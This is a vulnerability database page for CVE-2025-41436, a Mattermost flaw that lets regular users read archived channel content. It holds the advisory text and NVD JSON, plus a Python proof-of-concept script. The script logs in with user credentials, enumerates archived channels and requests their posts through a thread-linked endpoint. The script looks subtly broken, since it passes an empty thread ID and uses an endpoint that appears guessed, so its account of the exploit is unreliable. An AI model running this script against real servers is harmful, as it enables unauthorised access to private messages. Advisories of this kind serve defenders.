Security Vulnerability Report
中文
CVE-2025-41436 CVSS 3.1 LOW

CVE-2025-41436

Published: 2025-11-14 08:15:45
Last Modified: 2025-11-17 17:52:02

Description

Mattermost versions <11.0 fail to properly enforce the "Allow users to view archived channels" setting which allows regular users to access archived channel content and files via the "Open in Channel" functionality from followed threads

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost < 11.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-41436 PoC - Mattermost Archived Channel Access Bypass # This PoC demonstrates the access control bypass in Mattermost < 11.0 import requests import json class MattermostArchivedChannelBypass: def __init__(self, base_url, username, password): self.base_url = base_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.token = None def authenticate(self): """Authenticate with Mattermost and obtain access token""" login_url = f"{self.base_url}/api/v4/users/login" credentials = { "login_id": self.username, "password": self.password } response = self.session.post(login_url, json=credentials) if response.status_code == 200: self.token = response.headers.get('Token') self.session.headers.update({'Authorization': f'Bearer {self.token}'}) return True return False def get_archived_channels(self): """Retrieve list of archived channels accessible to the user""" channels_url = f"{self.base_url}/api/v4/channels?includeArchived=true" response = self.session.get(channels_url) if response.status_code == 200: return response.json() return [] def get_thread_in_archived_channel(self, team_id): """Get threads that reference archived channels""" threads_url = f"{self.base_url}/api/v4/users/me/teams/{team_id}/threads" response = self.session.get(threads_url) if response.status_code == 200: return response.json() return [] def access_archived_channel_via_thread(self, channel_id, thread_id): """ Exploit: Access archived channel content via 'Open in Channel' functionality This bypasses the 'Allow users to view archived channels' setting """ # Step 1: Attempt direct access to archived channel (may be blocked) channel_url = f"{self.base_url}/api/v4/channels/{channel_id}" direct_response = self.session.get(channel_url) # Step 2: Access via thread link (bypasses permission check) exploit_url = f"{self.base_url}/api/v4/channels/{channel_id}/posts?thread_id={thread_id}" exploit_response = self.session.get(exploit_url) if exploit_response.status_code == 200: posts = exploit_response.json() if posts.get('posts') and len(posts['posts']) > 0: return { 'status': 'VULNERABLE', 'channel_id': channel_id, 'posts_accessed': len(posts['posts']), 'message': 'Successfully accessed archived channel content' } return { 'status': 'NOT_VULNERABLE', 'channel_id': channel_id } def verify_vulnerability(self): """Main verification function""" print("[*] Starting CVE-2025-41436 verification...") if not self.authenticate(): print("[-] Authentication failed") return print("[+] Authentication successful") # Get archived channels channels = self.get_archived_channels() archived_channels = [c for c in channels if c.get('delete_at', 0) > 0] print(f"[*] Found {len(archived_channels)} archived channels") results = [] for channel in archived_channels: channel_id = channel['id'] # Try to access via thread functionality result = self.access_archived_channel_via_thread(channel_id, None) results.append(result) return results if __name__ == "__main__": # Configuration TARGET = "https://mattermost.example.com" USERNAME = "[email protected]" PASSWORD = "password123" exploit = MattermostArchivedChannelBypass(TARGET, USERNAME, PASSWORD) results = exploit.verify_vulnerability() if any(r.get('status') == 'VULNERABLE' for r in results): print("[!] VULNERABLE: Archived channel access control bypass confirmed") else: print("[-] NOT VULNERABLE or patches applied")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41436", "sourceIdentifier": "[email protected]", "published": "2025-11-14T08:15:45.310", "lastModified": "2025-11-17T17:52:01.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions <11.0 fail to properly enforce the \"Allow users to view archived channels\" setting which allows regular users to access archived channel content and files via the \"Open in Channel\" functionality from followed threads"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "11.0.0", "matchCriteriaId": "0E0A9668-C657-425B-BD7E-D1A0CC5648A8"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}